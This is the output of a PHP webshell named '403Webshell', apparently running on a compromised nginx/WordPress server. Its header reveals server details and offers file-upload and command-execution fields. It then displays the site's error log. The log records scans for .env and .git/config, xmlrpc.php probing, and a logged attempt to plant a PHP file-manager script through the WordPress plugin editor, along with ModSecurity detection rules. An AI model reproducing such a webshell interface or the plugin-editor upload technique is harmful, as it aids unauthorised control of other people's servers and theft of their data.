403Webshell
Server IP : 119.195.102.159  /  Your IP : 216.73.217.134
Web Server : nginx/1.18.0
System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : altablue ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ysbbs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/ysbbs/apache_error.log
[Mon Apr 28 17:42:05.236674 2025] [authz_core:error] [pid 2912026:tid 140284302194240] [client 188.166.108.93:55686] AH01630: client denied by server configuration: /home/ysbbs/server-status
[Mon Apr 28 17:42:06.704808 2025] [authz_core:error] [pid 2911956:tid 140284718163520] [client 64.226.65.160:37966] AH01630: client denied by server configuration: /home/ysbbs/server-status
[Mon Apr 28 17:42:07.483971 2025] [:error] [pid 2912091:tid 140283228452416] [client 188.166.108.93:55692] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.DS_Store"] [unique_id "aA8_Xw2j8ekMUV_kKRgiBwAAAJs"]
[Mon Apr 28 17:42:07.484300 2025] [:error] [pid 2912091:tid 140283228452416] [client 188.166.108.93:55692] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.DS_Store"] [unique_id "aA8_Xw2j8ekMUV_kKRgiBwAAAJs"]
[Mon Apr 28 17:42:07.484952 2025] [:error] [pid 2912091:tid 140283228452416] [client 188.166.108.93:55692] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/.DS_Store"] [unique_id "aA8_Xw2j8ekMUV_kKRgiBwAAAJs"]
[Mon Apr 28 17:42:08.224027 2025] [:error] [pid 2912139:tid 140284760127040] [client 188.166.108.93:55704] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.env"] [unique_id "aA8_YEo4z3Ze6V8WYkiM7wAAAYA"]
[Mon Apr 28 17:42:08.224436 2025] [:error] [pid 2912139:tid 140284760127040] [client 188.166.108.93:55704] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.env"] [unique_id "aA8_YEo4z3Ze6V8WYkiM7wAAAYA"]
[Mon Apr 28 17:42:08.225093 2025] [:error] [pid 2912139:tid 140284760127040] [client 188.166.108.93:55704] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/.env"] [unique_id "aA8_YEo4z3Ze6V8WYkiM7wAAAYA"]
[Mon Apr 28 17:42:09.018445 2025] [:error] [pid 2912139:tid 140284008580672] [client 188.166.108.93:55710] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8AAAAZA"]
[Mon Apr 28 17:42:09.018836 2025] [:error] [pid 2912139:tid 140284008580672] [client 188.166.108.93:55710] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8AAAAZA"]
[Mon Apr 28 17:42:09.019521 2025] [:error] [pid 2912139:tid 140284008580672] [client 188.166.108.93:55710] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8AAAAZA"]
[Mon Apr 28 17:42:09.034368 2025] [:error] [pid 2912139:tid 140284726556224] [client 64.226.65.160:38000] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.DS_Store"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8QAAAYQ"]
[Mon Apr 28 17:42:09.034659 2025] [:error] [pid 2912139:tid 140284726556224] [client 64.226.65.160:38000] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.DS_Store"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8QAAAYQ"]
[Mon Apr 28 17:42:09.035226 2025] [:error] [pid 2912139:tid 140284726556224] [client 64.226.65.160:38000] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/.DS_Store"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8QAAAYQ"]
[Mon Apr 28 17:42:09.798723 2025] [:error] [pid 2912139:tid 140284718163520] [client 64.226.65.160:38010] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.env"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8gAAAYU"]
[Mon Apr 28 17:42:09.799137 2025] [:error] [pid 2912139:tid 140284718163520] [client 64.226.65.160:38010] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.env"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8gAAAYU"]
[Mon Apr 28 17:42:09.799830 2025] [:error] [pid 2912139:tid 140284718163520] [client 64.226.65.160:38010] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/.env"] [unique_id "aA8_YUo4z3Ze6V8WYkiM8gAAAYU"]
[Mon Apr 28 17:42:10.586627 2025] [:error] [pid 2912026:tid 140283220059712] [client 64.226.65.160:56250] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aA8_Yh2fKdr7-pOvDMKJ6wAAAhU"]
[Mon Apr 28 17:42:10.587016 2025] [:error] [pid 2912026:tid 140283220059712] [client 64.226.65.160:56250] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aA8_Yh2fKdr7-pOvDMKJ6wAAAhU"]
[Mon Apr 28 17:42:10.587699 2025] [:error] [pid 2912026:tid 140283220059712] [client 64.226.65.160:56250] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aA8_Yh2fKdr7-pOvDMKJ6wAAAhU"]
[Mon Apr 28 17:42:12.051398 2025] [proxy_fcgi:error] [pid 2911956:tid 140284344124992] [client 188.166.108.93:41466] AH01071: Got error 'Primary script unknown'
[Mon Apr 28 17:42:13.654017 2025] [proxy_fcgi:error] [pid 2911991:tid 140284344124992] [client 64.226.65.160:56274] AH01071: Got error 'Primary script unknown'
[Mon Apr 28 19:18:52.506302 2025] [access_compat:error] [pid 2912139:tid 140284743341632] [client 119.195.102.159:50358] AH01797: client denied by server configuration: /home/ysbbs/wp-content/uploads/woocommerce_uploads/
[Tue Apr 29 11:49:05.943513 2025] [:error] [pid 2995024:tid 140283060663872] [client 93.152.220.246:37236] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA-IZnRi6NRJ5fdehPJngAAAVs"]
[Tue Apr 29 11:49:05.943589 2025] [:error] [pid 2995024:tid 140283060663872] [client 93.152.220.246:37236] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA-IZnRi6NRJ5fdehPJngAAAVs"]
[Tue Apr 29 11:49:07.218606 2025] [:error] [pid 2995204:tid 140284620953152] [client 93.152.220.246:50476] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA-I9H9hPkkIBQqGxBGyQAAAoQ"]
[Tue Apr 29 11:49:07.218681 2025] [:error] [pid 2995204:tid 140284620953152] [client 93.152.220.246:50476] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA-I9H9hPkkIBQqGxBGyQAAAoQ"]
[Tue Apr 29 11:49:11.235540 2025] [:error] [pid 2995169:tid 140283463317056] [client 93.152.220.246:50504] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA-J17vt87LIOTpsoejRgAAAlQ"]
[Tue Apr 29 11:49:11.235622 2025] [:error] [pid 2995169:tid 140283463317056] [client 93.152.220.246:50504] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA-J17vt87LIOTpsoejRgAAAlQ"]
[Tue Apr 29 11:53:49.571328 2025] [:error] [pid 2995204:tid 140282825799232] [client 93.152.220.246:48034] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA_PdH9hPkkIBQqGxBIEwAAAp4"]
[Tue Apr 29 11:53:49.571400 2025] [:error] [pid 2995204:tid 140282825799232] [client 93.152.220.246:48034] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA_PdH9hPkkIBQqGxBIEwAAAp4"]
[Tue Apr 29 11:53:51.034465 2025] [:error] [pid 2995099:tid 140283589142080] [client 93.152.220.246:48042] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA_PxSE-Hi0PgI0O1_1sQAAARU"]
[Tue Apr 29 11:53:51.034542 2025] [:error] [pid 2995099:tid 140283589142080] [client 93.152.220.246:48042] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBA_PxSE-Hi0PgI0O1_1sQAAARU"]
[Tue Apr 29 11:59:05.063644 2025] [:error] [pid 2994989:tid 140284461557312] [client 93.152.220.246:41872] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBBAec7OdJ-Dg65FTzIXIwAAAAc"]
[Tue Apr 29 11:59:05.063755 2025] [:error] [pid 2994989:tid 140284461557312] [client 93.152.220.246:41872] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBBAec7OdJ-Dg65FTzIXIwAAAAc"]
[Tue Apr 29 15:37:02.473929 2025] [:error] [pid 2995134:tid 140284604167744] [client 196.251.88.108:49824] [client 196.251.88.108] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBBzjowRh61cZfh1vMLNfQAAAYY"]
[Tue Apr 29 15:37:02.474300 2025] [:error] [pid 2995134:tid 140284604167744] [client 196.251.88.108:49824] [client 196.251.88.108] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBBzjowRh61cZfh1vMLNfQAAAYY"]
[Tue Apr 29 15:37:03.235729 2025] [:error] [pid 2995134:tid 140284604167744] [client 196.251.88.108:49824] [client 196.251.88.108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBBzjowRh61cZfh1vMLNfQAAAYY"]
[Tue Apr 29 17:41:11.389988 2025] [:error] [pid 2995024:tid 140284100867648] [client 93.152.220.246:35412] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCQp5nRi6NRJ5fdehPcpQAAAUk"]
[Tue Apr 29 17:41:11.390072 2025] [:error] [pid 2995024:tid 140284100867648] [client 93.152.220.246:35412] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCQp5nRi6NRJ5fdehPcpQAAAUk"]
[Tue Apr 29 17:41:12.668520 2025] [:error] [pid 2995099:tid 140283622712896] [client 93.152.220.246:35418] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCQqBSE-Hi0PgI0O18PcgAAARE"]
[Tue Apr 29 17:41:12.668599 2025] [:error] [pid 2995099:tid 140283622712896] [client 93.152.220.246:35418] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCQqBSE-Hi0PgI0O18PcgAAARE"]
[Tue Apr 29 17:41:16.473966 2025] [:error] [pid 2995169:tid 140283496887872] [client 93.152.220.246:35452] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCQrF7vt87LIOTpsofSqAAAAlA"]
[Tue Apr 29 17:41:16.474063 2025] [:error] [pid 2995169:tid 140283496887872] [client 93.152.220.246:35452] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCQrF7vt87LIOTpsofSqAAAAlA"]
[Tue Apr 29 17:45:00.985697 2025] [:error] [pid 2995204:tid 140283631105600] [client 93.152.220.246:55178] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCRjNH9hPkkIBQqGxCTtgAAApA"]
[Tue Apr 29 17:45:00.985776 2025] [:error] [pid 2995204:tid 140283631105600] [client 93.152.220.246:55178] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCRjNH9hPkkIBQqGxCTtgAAApA"]
[Tue Apr 29 17:45:02.197890 2025] [:error] [pid 2995099:tid 140284075689536] [client 93.152.220.246:55184] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCRjhSE-Hi0PgI0O18PjwAAAQw"]
[Tue Apr 29 17:45:02.197965 2025] [:error] [pid 2995099:tid 140284075689536] [client 93.152.220.246:55184] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCRjhSE-Hi0PgI0O18PjwAAAQw"]
[Tue Apr 29 17:49:30.745959 2025] [:error] [pid 2995204:tid 140283605927488] [client 93.152.220.246:47810] [client 93.152.220.246] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCSmtH9hPkkIBQqGxCUrgAAApM"]
[Tue Apr 29 17:49:30.746038 2025] [:error] [pid 2995204:tid 140283605927488] [client 93.152.220.246:47810] [client 93.152.220.246] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBCSmtH9hPkkIBQqGxCUrgAAApM"]
[Tue Apr 29 21:33:22.924071 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\\\s+(?:\\\\/|\\\\w)[^\\\\s]*(?:\\\\s+http\\\\/\\\\d|[\\\\r\\\\n])" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf"] [line "52"] [id "921110"] [msg "HTTP Request Smuggling Attack"] [data "Matched Data: delete function\\x0d found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatbytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-le [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.924850 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:get|post|head|options|connect|put|delete|trace|track|patch|propfind|propatch|mkcol|copy|move|lock|unlock)\\\\s+(?:\\\\/|\\\\w)[^\\\\s]*(?:\\\\s+http\\\\/\\\\d|[\\\\r\\\\n])" at REQUEST_BODY. [file "/usr/share/modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf"] [line "52"] [id "921110"] [msg "HTTP Request Smuggling Attack"] [data "Matched Data: delete function\\x0d found within REQUEST_BODY: nonce=e99d784201&_wp_http_referer=/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=<?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($curre..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level [hostname 